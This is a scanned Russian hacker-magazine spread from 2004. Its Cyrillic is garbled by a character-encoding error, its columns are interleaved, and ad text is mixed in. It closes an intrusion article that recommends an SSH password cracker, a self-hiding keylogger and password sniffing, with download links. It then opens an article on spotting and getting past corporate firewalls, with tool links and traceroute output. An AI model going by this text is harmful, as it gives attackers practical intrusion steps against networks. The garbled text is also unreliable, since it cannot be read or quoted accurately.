íîìó ëèñòó.  ýòîì çëîóìûøëåííèêó ïîìîæåò óòèëèòà SSH                    ñ ëîãîòèïîì ''Õàêåð'' æåëòàÿ, ÷åðíàÿ                 ''Õàêåð - äåíüãè''
Crack (www.thc.org/root/tools/thc_ssh_crack.c).
  2. Óñòàíîâèòü íà ñåðâåð ñíèôåð èëè êëàâèàòóðíûé øïè-
îí. Ñ ïîìîùüþ ñíèôèíãàà ìîæíî ëåãêî îòëîâèòü ïàðîëü
                                                                             .å.                                          .å.
íà FTP- èëè POP3-ñåðâèñ, à çàòåì ïîïðîáîâàòü àêêàóíò â                   99 ó                                         99 ó
                                                                                                                   11,9
êà÷åñòâå ñèñòåìíîãî.                                                  10,9
  Ñ ïîìîùüþ ñïåöèàëüíîãî ìîäóëÿ ìîæíî ïåðåõâàòèòü âñå
êîíñîëüíûå êîìàíäû, âêëþ÷àÿ ïàðîëè íà SSH. Ñàìûé ëó÷-
øèé êëàâèàòóðíûé ëîããåð – vlogger îò THC (www.thc.org/down-
load.php?t=r&f=vlogger-2.1.1.tar.gz). Ïîñëå çàãðóçêè ìîäóëü ñòèðàåò
ñåáÿ èç ñïèñêà ïðîöåññîâ, à çàòåì ðàáîòàåò â îäíîì èç                            Ôóòáîëêà ''Hack OFF''              Êðóæêà ''Matrix'' ñ ëîãîòèïîì ''Õàêåð''
                                                                             ñ ëîãîòèïîì ''Õàêåð'' ÷åðíàÿ                          ÷åðíàÿ
äâóõ ðåæèìîâ: ëîãèðîâàíèå âñåãî ââîäà èëè çàïèñü ïàðî-
ëåé (smart mode).  ëþáîì ñëó÷àå âçëîìùèêó óäàñòñÿ íà-
ðûòü äîñòàòî÷íî èíôîðìàöèè, êîòîðîé õâàòèò äëÿ âçëîìà
âñåõ ñòàíöèé ëîêàëüíîé ñåòè!                                                 .å.                                         .å.
                                                                         99 ó                                         9 ó
                                                                                                                    7,99
                                                                      11,9
ÂÛÂÎÄÛ
    Âîò, ñîáñòâåííî, è âñå îñíîâíûå óäàëåííûå è ëî-
êàëüíûå àòàêè. Îáû÷íî èìåííî ýòè ìåòîäû è ïðèíîñÿò
âçëîìùèêó óñïåõ. Âåäü îí òî÷íî çíàåò, ÷òî áðóòôîðñ
                                                                            Çàæèãàëêà ìåòàëëè÷åñêàÿ ñ              Êîâðèê äëÿ ìûøè ''Îïàñíî äëÿ æèçíè''
íàìíîãî îïàñíåå, ÷åì ñêàíèðîâàíèå ïîðòîâ, íî êîãäà íè-                                                                 ñ ëîãîòèïîì æóðíàëà ''Õàêåð''
                                                                         ãðàâèðîâêîé ñ ëîãîòèïîì æóðíàëà
÷åãî íå îñòàåòñÿ äåëàòü, ïðèõîäèòñÿ äîâîëüñòâîâàòüñÿ                                 ''Õàêåð''                                  (÷åðíûé)
ñàìûìè íåáëàãîäàðíûìè ñïîñîáàìè âçëîìà. Ìàòåðûé
âçëîìùèê ñ ïîìîùüþ ïàðû êîìàíä îïðåäåëèò, ÷òî ñèñ-
                                                                      * – ó.å. = óáèòûå åíîòû
òåìà íå èìååò òðèâèàëüíûõ óÿçâèìîñòåé è ïîëó÷èòü ðó-
òà â íåé áóäåò î÷åíü íåïðîñòûì äåëîì. Íî ïîñëå äâóõ-                            ÇÀÊÀÇÛ ÏÎ ÈÍÒÅÐÍÅÒÓ – ÊÐÓÃËÎÑÓÒÎ×ÍÎ!
÷àñîâîãî ïîèñêà çëîóìûøëåííèê áûñòðî íàéäåò ïàðîëü                                     ÇÀÊÀÇÛ ÏÎ ÒÅËÅÔÎÍÀÌ:
ñóïåðïîëüçîâàòåëÿ, çàïèñàííûé â plain-òåêñòå. Åñëè òû
äóìàåøü, ÷òî ó êðóòîãî õàêåðà äàð îïðåäåëÿòü ìåòîäû                   (095) 928-6089 (095) 928-0360 (095) 928-3574
âçëîìà, òî îøèáàåøüñÿ. Â ñâîå âðåìÿ îí áûë ñêðèïòêè-
äè, è ëèøü ÷åðåç íåñêîëüêî ëåò, íàáðàâøèñü îïûòà,
ïîñòèã èñêóññòâî âçëîìà. E
                                     22     ÂÇËÎÌ          ÑÒÅÍÊÀ ÂÑÌßÒÊÓ

                         Êðèñ Êàñïåðñêè aka ìûùúõ




                         ÑÒÅÍÊÀ
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                         ÂÑÌßÒÊÓ
                         ÎÁÕÎÄ ÁÐÀÍÄÌÀÓÝÐÎÂ ÑÍÀÐÓÆÈ È ÈÇÍÓÒÐÈ
                            îëüøèíñòâî êîðïîðàòèâíûõ ñåòåé îãðàæäåíî               íåäåìîêðàòè÷íî íàñòðîåííûìè áðàíäìàóýðàìè,
                         Á çàùèùàþùèìè âíóòðåííèõ ïîëüçîâàòåëåé îò ïî ïåðèìåòðó îòïóãèâàþùèìè–íà÷èíàþùèõ õàêåðîâ. Ìåæäó òåì, äëÿ
                                                                      ñàìèõ ñåáÿ è
                         îïûòíîãî âçëîìùèêà äàæå êà÷åñòâåííûé è ãðàìîòíî íàñòðîåííûé áðàíäìàóýð    íå ïðåãðàäà.


                                                   ÂÂÅÄÅÍÈÅ                 òåëüíî ñîáèðàþò TCP-ïàêåòû, âûêóñû-       ñïåöèàëèçèðîâàííûõ ïàêåòîâ, òàêèõ,


                                    Â                   Áðàíäìàóýð (îí æå
                                                   ôàåðâîë) â îáùåì ñëó-
                                                   ÷àå ïðåäñòàâëÿåò ñî-
                                                   áîé ñîâîêóïíîñòü ñèñ-
                                   òåì, îáåñïå÷èâàþùèõ íàäëåæàùèé
                                                                            âàþò èç íèõ ïîëüçîâàòåëüñêèå äàí-
                                                                            íûå, íàêëåèâàþò íà íèõ íîâûé çàãî-
                                                                            ëîâîê è âíîâü ðàçáèðàþò ïîëó÷åííûé
                                                                            ïàêåò íà IP, ïðè íåîáõîäèìîñòè îñó-
                                                                            ùåñòâëÿÿ òðàíñëÿöèþ àäðåñîâ. Åñëè
                                                                                                                      êàê Real Secure îò Internet Security
                                                                                                                      System.
                                                                                                                         Â çàâèñèìîñòè îò êîíôèãóðàöèè ñå-
                                                                                                                      òè áðàíäìàóýð ìîæåò áûòü óñòàíîâ-
                                                                                                                      ëåí íà âûäåëåííûé êîìïüþòåð èëè
                                   óðîâåíü ðàçãðàíè÷åíèÿ äîñòóïà, äîñ-      áðàíäìàóýð íå ñîäåðæèò îøèáîê, îá-        ìîæåò äåëèòü ñèñòåìíûå ðåñóðñû ñ
                                   òèãàåìûé ïóòåì óïðàâëåíèÿ ïðîõîäÿ-       ìàíóòü åãî íà ñåòåâîì óðîâíå óæå íå       êåì-íèáóäü åùå. Ïåðñîíàëüíûå
                                   ùèì òðàôèêîì ïî áîëåå èëè ìåíåå          óäàñòñÿ; ê òîìó æå, îí ñêðûâàåò îò        áðàíäìàóýðû, øèðîêî ðàñïðîñòðàíåí-
                    Áðàíäìàóý-     ãèáêîìó íàáîðó êðèòåðèåâ (ïðàâèë         àòàêóþùåãî ñòðóêòóðó âíóòðåííåé ñå-       íûå â ìèðå Windows, â ïîäàâëÿþùåì
                    ðû ïîäâåð-     ïîâåäåíèÿ). Êîðî÷å ãîâîðÿ, áðàíäìàó-     òè – ñíàðóæè îñòàåòñÿ ëèøü áðàíäìà-       áîëüøèíñòâå ñëó÷àåâ óñòàíàâëèâàþò-
                    æåíû áîëü-     ýð ïðîïóñêàåò òîëüêî òó ÷àñòü òðàôè-     óýð. À äëÿ äîñòèæåíèÿ íàèâûñøåé çà-       ñÿ íåïîñðåäñòâåííî íà ñàì çàùèùàå-
                    øîìó êîëè-
                    ÷åñòâó DoS-    êà, êîòîðàÿ ÿâíî ðàçðåøåíà àäìèíè-       ùèùåííîñòè àäìèíèñòðàòîð ìîæåò            ìûé êîìïüþòåð. Åñëè ýòîò ïàêåòíûé
                    àòàê, òàêèõ,   ñòðàòîðîì è áëîêèðóåò âñå îñòàëüíîå.     îðãàíèçîâàòü íà áðàíäìàóýðå äîïîë-        ôèëüòð ðåàëèçîâàí áåç îøèáîê, òî
                    êàê ýõî-
                    øòîðì èëè        Íà ðûíêå äîìèíèðóþò äâà òèïà           íèòåëüíûå ïðîöåäóðû àâòîðèçàöèè è         çàùèùåííîñòü ñèñòåìû íè÷óòü íå
                    SYN-flood,     áðàíäìàóýðîâ – ïàêåòíûå ôèëüòðû,         àóòåíòèôèêàöèè, «íàáðàñûâàþùèå-           ñòðàäàåò è àòàêîâàòü åå òàê æå ñëîæ-
                    êîòîðûì
                    îíè â ïðèí-    òàêæå íàçûâàåìûå øëþçàìè ôèëüò-          ñÿ» íà ïðîòèâíèêà åùå íà äàëüíèõ ðó-      íî, êàê è íà âûäåëåííîì áðàíäìàóýðå.
                    öèïå íåñïî-    ðàöèè ïàêåòîâ (packet filter gateway),   áåæàõ îáîðîíû. Ýòî áûëè äîñòîèí-          Ëîêàëüíûå ïðîãðàììíûå ïðîêñè çà-
                    ñîáíû ïðî-     è ïðîãðàììíûå ïðîêñè (application        ñòâà. ×òî æå êàñàåòñÿ íåäîñòàòêîâ, òî     ùèùàþò êîìïüþòåð ëèøü îò íåêîòî-
                    òèâîñòîÿòü.
                                   proxy). Ïðèìåðîì ïåðâîãî òèïà ÿâëÿ-      ïðîãðàììíûå ïðîêñè îãðàíè÷èâàþò           ðûõ òèïîâ àòàê (íàïðèìåð, áëîêèðóþò
                                   åòñÿ Firewall îò êîìïàíèè Check Point,   ïîëüçîâàòåëåé â âûáîðå ïðèëîæåíèé.        çàñûëêó òðîÿíîâ ÷åðåç IE), îñòàâëÿÿ
                                   à âòîðîãî – Microsoft Proxy Server.      Îíè ðàáîòàþò íàìíîãî ìåäëåííåå ïà-        ñèñòåìó ïîëíîñòüþ îòêðûòîé. Â UNIX-
                                     Ïàêåòíûå ôèëüòðû ïîëíîñòüþ ïðîç-       êåòíûõ ôèëüòðîâ è çäîðîâî ñíèæàþò         like-ñèñòåìàõ ïàêåòíûé ôèëüòð ïðèñó-
                                   ðà÷íû äëÿ ïîëüçîâàòåëåé è âåñüìà         ïðîèçâîäèòåëüíîñòü (îñîáåííî íà           òñòâóåò èçíà÷àëüíî, à â øòàòíûé
                    Áðàíäìàóýð –
                    ýòî ìàðø-      ïðîèçâîäèòåëüíû, îäíàêî íåäîñòàòî÷-      áûñòðûõ êàíàëàõ).                         êîìïëåêò ïîñòàâêè âõîäèò áîëüøîå
                    ðóòèçàòîð,     íî íàäåæíû. Ôàêòè÷åñêè îíè ïðåäñ-          Áðàíäìàóýðû îáîèõ òèïîâ îáû÷íî          êîëè÷åñòâî ðàçíîîáðàçíûõ ïðîêñè-
                    ïðîêñè-ñåð-
                    âåð è ñèñòå-   òàâëÿþò ñîáîé ðàçíîâèäíîñòü ìàðø-        âêëþ÷àþò â ñåáÿ áîëåå èëè ìåíåå           ñåðâåðîâ, ïîýòîìó ïðèîáðåòàòü äî-
                    ìà îáíàðó-     ðóòèçàòîðîâ, ïðèíèìàþùèõ ïàêåòû          óðåçàííóþ âåðñèþ ñèñòåìû îïðåäåëå-        ïîëíèòåëüíîå ïðîãðàììíîå îáåñïå÷å-
                    æåíèÿ âòîð-    êàê èçâíå, òàê è èçíóòðè ñåòè, è ðåøà-   íèÿ âòîðæåíèé (Intruder Detection         íèå íå íóæíî.
                    æåíèé â îä-
                    íîì ôëàêî-     þùèõ, êàê ñ íèìè ïîñòóïèòü – ïðîïóñ-     System, IDS), àíàëèçèðóþùóþ õàðàê-
                    íå.            òèòü äàëüøå èëè óíè÷òîæèòü, ïðè íå-      òåð ñåòåâûõ çàïðîñîâ è âûÿâëÿþùóþ         ÎÒ ×ÅÃÎ ÇÀÙÈÙÀÅÒ
                                   îáõîäèìîñòè óâåäîìèâ îòïðàâèòåëÿ,        ïîòåíöèàëüíî îïàñíûå äåéñòâèÿ - îá-       È ÎÒ ×ÅÃÎ ÍÅ ÇÀÙÈÙÀÅÒ
                                   ÷òî åãî ïàêåò ñäîõ. Áîëüøèíñòâî          ðàùåíèå ê íåñóùåñòâóþùèì ïîðòàì           ÁÐÀÍÄÌÀÓÝÐ
                                   áðàíäìàóýðîâ ýòîãî òèïà ðàáîòàåò íà      (õàðàêòåðíî äëÿ ñêàíèðîâàíèÿ), ïàêå-          Ïàêåòíûå ôèëüòðû â îáùåì ñëó-
                                   IP-óðîâíå, ïðè÷åì ïîëíîòà ïîääåðæêè      òû ñ TTL, ðàâíûì åäèíèöå, (õàðàêòåð-      ÷àå ïîçâîëÿþò çàêðûâàòü âñå âõîäÿ-
                                   IP-ïðîòîêîëà è êà÷åñòâî ôèëüòðàöèè       íî äëÿ òðàññèðîâêè) è ò.ä. Âñå ýòî ñó-    ùèå/èñõîäÿùèå TCP-ïîðòû, ïîë-
                                   îñòàâëÿþò æåëàòü ëó÷øåãî, ïîýòîìó        ùåñòâåííî çàòðóäíÿåò àòàêó, è õàêåðó      íîñòüþ èëè ÷àñòè÷íî áëîêèðîâàòü íå-
                                   àòàêóþùèé ìîæåò ëåãêî èõ îáìàíóòü.       ïðèõîäèòñÿ äåéñòâîâàòü î÷åíü îñòî-        êîòîðûå ïðîòîêîëû (íàïðèìåð, ICMP),
                                   Íà äîìàøíèõ êîìïüþòåðàõ òàêèå            ðîæíî, ïîñêîëüêó ëþáîé íåâåðíûé           ïðåïÿòñòâîâàòü óñòàíîâêå ñîåäèíå-
                                   áðàíäìàóýðû åùå èìåþò ñìûñë, íî          øàã òóò æå âûäàñò åãî ñ ïîòîðîõàìè.       íèé ñ äàííûìè IP-àäðåñàìè è ò.ä. Ïðà-
                                   ïðè íàëè÷èè äàæå ïëîõåíüêîãî ìàðø-       Îäíàêî èíòåëëåêòóàëüíîñòü èíòåãðè-        âèëüíî ñêîíôèãóðèðîâàííàÿ ñåòü
                                   ðóòèçàòîðà îíè ëèøü óäîðîæàþò ñèñ-       ðîâàííûõ ñèñòåì ðàñïîçíàâàíèÿ äîñ-        äîëæíà ñîñòîÿòü, ïî ìåíüøåé ìåðå,
                                   òåìó, íè÷åãî íå äàâàÿ âçàìåí, òàê êàê    òàòî÷íà íåâåëèêà, è áîëüøèíñòâî           èç äâóõ çîí: âíóòðåííåé êîðïîðàòèâ-
                                   òå æå ñàìûå ïðàâèëà ôèëüòðàöèè ïà-       óâàæàþùèõ ñåáÿ àäìèíèñòðàòîðîâ            íîé ñåòè (corporative network), îãðàæ-
                                   êåòîâ ìîæíî çàäàòü è íà ìàðøðóòèçà-      ïåðåêëàäûâàåò ýòó çàäà÷ó íà ïëå÷è         äåííîé áðàíäìàóýðîì è íàñåëåííîé
                                   òîðå!
                                     Ïðîãðàììíûå ïðîêñè ïðåäñòàâëÿþò
                                   ñîáîé îáû÷íûå ïðîêñè-ñåðâåðà, ïðîñ-
                                   ëóøèâàþùèå çàäàííûå ïîðòû (íàïðè-
                                   ìåð, 25, 110, 80) è ïîääåðæèâàþùèå
                                   âçàèìîäåéñòâèå ñ çàðàíåå îãîâîðåí-
                                   íûì ïåðå÷íåì ñåòåâûõ ñåðâèñîâ.  îò-
                                   ëè÷èå îò ôèëüòðîâ, ïåðåäàþùèõ IP-
                                   ïàêåòû "êàê åñòü", ïðîêñè ñàìîñòîÿ-       Óçåë, çàùèùåííûé áðàíäìàóýðîì, ÷óâñòâóåò ñåáÿ ñëîâíî çà êèðïè÷íîé ñòåíîé

                                    ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                               23


ðàáî÷èìè ñòàíöèÿìè, ñåòåâûìè ïðèí-       - áëîêèðîâàòü âõîäÿùèå ñîåäèíåíèÿ
òåðàìè, intranet-ñåðâåðàìè, ñåðâåðàìè   èç âíåøíåé ñåòè, íàïðàâëåííûå â




                                                                                                                                     ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
áàç äàííûõ è ïðî÷èìè ðåñóðñàìè ïî-      êîðïîðàòèâíóþ ñåòü (ïðàâäà, â ýòîì
äîáíîãî òèïà; à òàêæå äåìèëèòàðèçî-     ñëó÷àå ïîëüçîâàòåëè ñåòè íå ñìîãóò
âàííîé çîíû (demilitarized zone, èëè,   ðàáîòàòü ñ âíåøíèìè FTP-ñåðâåðàìè
ñîêðàùåííî, DMZ), â êîòîðîé ðàñïî-      â àêòèâíîì ðåæèìå);
ëîæåíû ïóáëè÷íûå ñåðâåðà, äîñòóï-        - áëîêèðîâàòü èñõîäÿùèå ñîåäèíå-
íûå èç èíòåðíåòà. Áðàíäìàóýð, íàñò-     íèÿ èç DMZ-çîíû, íàïðàâëåííûå âî
ðîåííûé íà íàèáîëåå äðàêîíè÷åñêèé       âíóòðåííþþ ñåòü (èñêëþ÷àÿ FTP- è
óðîâåíü çàùèùåííîñòè, äîëæåí:           DNS-ñåðâåðà, êîòîðûì èñõîäÿùèå ñî-
  - çàêðûâàòü âñå ïîðòû, êðîìå òåõ,     åäèíåíèÿ íåîáõîäèìû);                  Òèïè÷íàÿ ñòðóêòóðà ëîêàëüíîé ñåòè
÷òî ïðèíàäëåæàò ïóáëè÷íûì ñåòåâûì        - áëîêèðîâàòü âõîäÿùèå ñîåäèíåíèÿ
ñëóæáàì (HTTP, FTP, SMTP è ò.ä.);       èç DMZ-çîíû, íàïðàâëåííûå âî âíóò-    ïðàâäà, ïîëíîå áëîêèðîâàíèå ICMP
  - ïàêåòû, ïðèõîäÿùèå íà çàäàí-        ðåííþþ ñåòü (åñëè ýòîãî íå ñäåëàòü,   ñîçäàåò áîëüøèå ïðîáëåìû, â ÷àñò-
íûé ïîðò, îòïðàâëÿòü òåì è òîëüêî       òî àòàêóþùèé, çàõâàòèâøèé óïðàâëå-    íîñòè, ïåðåñòàåò ðàáîòàòü ping è ñòà-
òåì óçëàì, íà êîòîðûõ óñòàíîâëåíû       íèå îäíèì èç ïóáëè÷íûõ ñåðâåðîâ,      íîâèòñÿ íåâîçìîæíûì àâòîìàòè÷åñ-
ñîîòâåòñòâóþùèå ñëóæáû (íàïðè-          áåñïðåïÿòñòâåííî ïðîíèêíåò è â êîð-   êîå îïðåäåëåíèå íàèáîëåå ïðåäïî÷-
ìåð, åñëè WWW-ñåðâåð ðàñïîëîæåí         ïîðàòèâíóþ ñåòü).                     òèòåëüíîãî MTU);
íà óçëå À, à FTP-ñåðâåð íà óçëå B,       - áëîêèðîâàòü âõîäÿùèå ñîåäèíåíèÿ      - áëîêèðîâàòü âõîäÿùèå/èñõîäÿùèå
òî ïàêåò, íàïðàâëåííûé íà 80 ïîðò       â DMZ-çîíó èç âíåøíåé ñåòè ïî ñëó-    ñîåäèíåíèÿ ñ ïîðòàìè è/èëè IP-àäðå-
óçëà B, äîëæåí áëîêèðîâàòüñÿ            æåáíûì ïðîòîêîëàì, ÷àñòî èñïîëüçó-    ñàìè âíåøíåé ñåòè, çàäàííûìè àäìè-
áðàíäìàóýðîì);                          þùèìñÿ äëÿ àòàêè (íàïðèìåð, ICMP;     íèñòðàòîðîì.
                                                                                Ôàêòè÷åñêè ðîëü áðàíäìàóýðà ñâî-
                                                                              äèòñÿ ê îãðàæäåíèþ êîðïîðàòèâíîé
  ÑÑÛËÊÈ ÏÎ ÒÅÌÅ                                                              ñåòè îò âñÿêèõ ëþáîïûòñòâóþùèõ,
                                                                              áëóæäàþùèõ ïî ïðîñòîðàì èíåòà. Òåì
  Nmap                                                                        íå ìåíåå, ïðî÷íîñòü ýòîãî îãðàæäå-
  Ïîïóëÿðíûé ñêàíåð ïîðòîâ, ïîçâîëÿþùèé îáíàðóæèâàòü íåêîòî-                  íèÿ òîëüêî êàæóùàÿñÿ. Åñëè êëèåíò
  ðûå òèïû áðàíäìàóýðîâ. Áåñïëàòåí. Èñõîäíûå òåêñòû äîñòóïíû. Íà              êîðïîðàòèâíîé ñåòè èñïîëüçóåò óÿç-
                                                                              âèìóþ âåðñèþ áðàóçåðà èëè êëèåíòà
  ñàéòå http://www.insecure.org/nmap ìîðå òåõíè÷åñêîé èíôîðìàöèè              ýëåêòðîííîé ïî÷òû (à áîëüøàÿ ÷àñòü      Áðàíäìàóý-
  ïî ïðîáëåìå.                                                                                                        ðû íå çà-
                                                                              ïðîãðàììíîãî îáåñïå÷åíèÿ óÿçâèìà!),     ùèùàþò îò
                                                                              àòàêóþùåìó äîñòàòî÷íî çàìàíèòü åãî      àòàê, à
                                                                                                                      ëèøü îã-
  FireWalk                                                                    íà òðîÿíèçèðîâàííóþ WEB-ñòðàíè÷êó       ðàæäàþò
  Óòèëèòà äëÿ òðàññèðîâêè ñåòè ÷åðåç áðàíäìàóýð, ðàáîòàþùàÿ íà                èëè ïîñëàòü åìó ïèñüìî ñ âèðóñîì        ëîêàëüíóþ
                                                                                                                      ñåòü êèð-
  TCP/UDP-ïðîòîêîëàõ è îñíîâàííàÿ íà TTL. Áåñïëàòíà.                          âíóòðè, è ÷åðåç êîðîòêîå âðåìÿ ëî-      ïè÷íûì çà-
                                                                              êàëüíàÿ ñåòü îêàæåòñÿ ïîðàæåíà. Äà-     áîðîì, ÷å-
  http://www.packetfactory.net/firewalk. Ïåðåä èñïîëüçîâàíèåì ðå-                                                     ðåç êîòîðûé
                                                                              æå åñëè èñõîäÿùèå ñîåäèíåíèÿ èç         ëåãêî ïåðå-
  êîìåíäóåòñÿ îçíàêîìèòüñÿ ñ äîêóìåíòàöèåé http://www.packetfac-              êîðïîðàòèâíîé ñåòè çàïðåùåíû, shell-    ëåçòü.
                             f
  tory.net/firewalk/firewalk-final.pdf.                                       êîä ñìîæåò âîñïîëüçîâàòüñÿ óæå óñ-
                                                                              òàíîâëåííûì TCP-ñîåäèíåíèåì, ÷åðåç
  HPING                                                                       êîòîðîå îí áûë çàáðîøåí íà àòàêî-
  Óòèëèòà, ðåàëèçóþùàÿ ñêàíèðîâàíèå ÷åðåç íåìîé õîñò. Ìîùíîå                  âàííûé óçåë, ïåðåäàâàÿ õàêåðó óï-
                                                                              ðàâëåíèå óäàëåííîé ñèñòåìîé.            Â áîëüøèí-
  îðóæèå äëÿ èññëåäîâàíèÿ âíóòðåííåé ñåòè çà áðàíäìàóýðîì. Áåñï-                Áðàíäìàóýð ìîæåò è ñàì ÿâëÿòüñÿ       ñòâå ñëó÷à-
  ëàòíà è õîðîøî äîêóìåíòèðîâàíà. http://www.hping.org/                       îáúåêòîì àòàêè, âåäü îí, êàê è âñÿêàÿ
                                                                                                                      åâ ñêâîçü
                                                                                                                      êèðïè÷íóþ
  papers.html.                                                                ñëîæíàÿ ïðîãðàììà, íå îáõîäèòñÿ áåç     ñòåíó
                                                                                                                      áðàíäìàóý-
                                                                              äûð è óÿçâèìîñòåé. Äûðû â áðàíäìàó-     ðà ìîæíî
  SSH-êëèåíò
       ê                                                                      ýðàõ îáíàðóæèâàþòñÿ ïðàêòè÷åñêè         ïðîáèòü
                                                                              êàæäûé ãîä è äàëåêî íå ñðàçó çàòûêà-    ICMP-òîí-
  Secure Shell êëèåíò, èñïîëüçóåìûé ïîëüçîâàòåëÿìè âíóòðåííåé ñå-                                                     íåëü, îáåð-
                                                                              þòñÿ (îñîáåííî åñëè áðàíäìàóýð ðåà-     íóâ ïåðåäà-
  òè äëÿ ïðåîäîëåíèÿ çàïðåòîâ è îãðàíè÷åíèé, íàëîæåííûõ áðàíäìà-              ëèçîâàí íà "æåëåçíîì" óðîâíå). Çà-      âàåìûå äàí-
  óýðîì. Áåñïëàòåí. Ðàñïðîñòðàíÿåòñÿ âìåñòå ñ èñõîäíûìè òåêñòàìè.             áàâíî, íî ïëîõîé áðàíäìàóýð íå òîëü-
                                                                                                                      íûå ICMP-
                                                                                                                      çàãîëîâêîì.
  http://www.openssh.com.                                                     êî íå óâåëè÷èâàåò, íî äàæå óõóäøàåò
                                                                              çàùèùåííîñòü ñèñòåìû (â ïåðâóþ
  FFAQ                                                                        î÷åðåäü ýòî îòíîñèòñÿ ê ïåðñîíàëü-
  Ïîäðîáíûé FAQ ïî áðàíäìàóýðàì íà àíãëèéñêîì ÿçûêå. www.inter-               íûì áðàíäìàóýðàì, ïîïóëÿðíîñòü êî-
                                                                              òîðûõ â ïîñëåäíåå âðåìÿ íåîáû÷àéíî
                                f
  hack.net/pubs/fwfaq/firewalls-faq.pdf. Åãî ðóññêèé ïåðåâîä, íå îòëè-                                                Áðàíäìàóýð
                                                                              âûñîêà).                                ìîæíî àòà-
  ÷àþùåéñÿ îñîáîé ñâåæåñòüþ, ëåæèò íà ln.com.ua/~openxs/arti-                                                         êîâàòü íå
                                                                                                                      òîëüêî èçâ-
  cles/fwfaq.html.                                                            ÎÁÍÀÐÓÆÅÍÈÅ                             íå, íî è èç-
                                                                              È ÈÄÅÍÒÈÔÈÊÀÖÈß                         íóòðè êîð-
                                                                                                                      ïîðàòèâíîé
  Firewalls                                                                   ÁÐÀÍÄÌÀÓÝÐÀ                             ñåòè.
  Êîíñïåêò ëåêöèé ïî áðàíäìàóýðàì (íà àíãëèéñêîì ÿçûêå) îò òàé-                   Çàëîãîì óñïåøíîé àòàêè ÿâëÿåò-
                                                                              ñÿ ñâîåâðåìåííîå îáíàðóæåíèå è
  âàíüñêîãî ïðîôåññîðà Yeali S. Sun. http://www.im.ntu.edu.tw/~sunny/         èäåíòèôèêàöèÿ áðàíäìàóýðà (èëè, â
  pdf/IS/Firewall.pdf.                                                        îáùåì ñëó÷àå, IDS, íî â êîíòåêñòå
                                                                              íàñòîÿùåé ñòàòüè ìû áóäåì èñõîäèòü
  OpenNet                                                                     èç òîãî, ÷òî îíà ñîâìåùåíà ñ áðàíä-
  Îãðîìíûé ïîðòàë ïî ñåòåâîé áåçîïàñíîñòè, ñîäåðæàùèé â òîì ÷èñ-              ìàóýðîì).
  ëå è èíôîðìàöèþ î äûðàõ â ïîïóëÿðíûõ áðàíäìàóýðàõ (íà ðóññêîì                 Áîëüøèíñòâî áðàíäìàóýðîâ îòáðà-
                                                                              ñûâàþò ïàêåòû ñ èñòå÷åíèåì TTL
  è àíãëèéñêîì ÿçûêàõ). http://www.opennet.ru.                                (Time To Live – âðåìÿ æèçíè), áëîêè-
                                                                              ðóÿ òåì ñàìûì òðàññèðîâêó ìàðøðóòà, »
                                      24      ÂÇËÎÌ         ÑÒÅÍÊÀ ÂÑÌßÒÊÓ


                                      ÒÐÀÑÑÈÐÎÂÊÀ ÌÀÐØÐÓÒÀ, ÓÌÈÐÀÞÙÀß ÍÀ
                                      ÁÐÀÍÄÌÀÓÝÐÅ (ÌÀÐØÐÓÒÈÇÀÒÎÐÅ)
ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX




                                      $traceroute –I wwww.intel.ru
                                      Òðàññèðîâêà ìàðøðóòà ê bouncer.glb.intel.com [198.175.98.50]
                                      ñ ìàêñèìàëüíûì ÷èñëîì ïðûæêîâ 30:

                                        1 1352 ms 150 ms 150 ms 62.183.0.180
                                        2 140 ms 150 ms 140 ms 62.183.0.220
                                        3 140 ms 140 ms 130 ms 217.106.16.52
                                        4 200 ms 190 ms 191 ms aksai-bbn0-po2-2.rt-comm.ru [217.106.7.25]
                                        5 190 ms 211 ms 210 ms msk-bbn0-po1-3.rt-comm.ru [217.106.7.93]
                                        6 200 ms 190 ms 210 ms spb-bbn0-po8-1.rt-comm.ru [217.106.6.230]                   Âíåøíèé âèä óòèëèòû nmap
                                        7 190 ms 180 ms 201 ms stockholm-bgw0-po0-3-0-0.rt-comm.ru [217.106.7.30]
                                        8 180 ms 191 ms 190 ms POS4-0.GW7.STK3.ALTER.NET [146.188.68.149]                 åùå íè î ÷åì íå ãîâîðèò (áûòü ìîæåò,
                                        9 190 ms 191 ms 190 ms 146.188.5.33                                               áðàíäìàóýð áëîêèðóåò ëèøü îäèí
                                       10 190 ms 190 ms 200 ms 146.188.11.230                                             ïîðò, íî ñàìûé íóæíûé, íàïðèìåð, çà-
                                       11 311 ms 310 ms 311 ms 146.188.5.197                                              ùèùàåò äûðÿâûé RPC îò ïîñÿãà-
                                       12 291 ms 310 ms 301 ms so-0-0-0.IL1.DCA6.ALTER.NET [146.188.13.33]                òåëüñòâ èçâíå), à, âî-âòîðûõ, ïðè ñêà-
                                       13 381 ms 370 ms 371 ms 152.63.1.137                                               íèðîâàíèè õàêåðó áóäåò òðóäíî îñ-
                                       14 371 ms 450 ms 451 ms 152.63.107.150                                             òàòüñÿ íåçàìå÷åííûì. Ñ äðóãîé ñòîðî-
                                       15 381 ms 451 ms 450 ms 152.63.107.105                                             íû, ïîðòû ñêàíèðóþò âñå êîìó íå
                                       16 370 ms 461 ms 451 ms 152.63.106.33                                              ëåíü, è àäìèíèñòðàòîðû óæå äàâíî íå
                                       17 361 ms 380 ms 371 ms 157.130.180.186                                            îáðàùàþò íà ýòî âíèìàíèÿ.
                    Ðàçëè÷íûå          18 370 ms 381 ms 441 ms 192.198.138.68                                               Óòèëèòà nmap ïîçâîëÿåò îáíàðóæè-
                    áðàíäìàóý-         19 *       *    * Ïðåâûøåí èíòåðâàë îæèäàíèÿ äëÿ çàïðîñà.                          âàòü íåêîòîðûå èç áðàíäìàóýðîâ, óñ-
                    ðû ïî-ðàç-         20 *       *    * Ïðåâûøåí èíòåðâàë îæèäàíèÿ äëÿ çàïðîñà.
                    íîìó ðåàãè-                                                                                           òàíàâëèâàÿ ñòàòóò ïîðòà âî "fire-
                    ðóþò íà                                                                                               walled". Òàêîå ïðîèñõîäèò âñÿêèé ðàç,
                    íåñòàíäàðò-
                    íûå TCP-                                                                                              êîãäà â îòâåò íà SYN óäàëåííûé óçåë
                    ïàêåòû,         ÷åì ðàçîáëà÷àþò ñåáÿ. Àíàëîãè÷íûì              ðåì äëÿ òðàññèðîâêè äðóãîé óçåë,       âîçâðàùàåò ICMP-ïàêåò òèïà 3 ñ êî-
                    ïîçâîëÿÿ
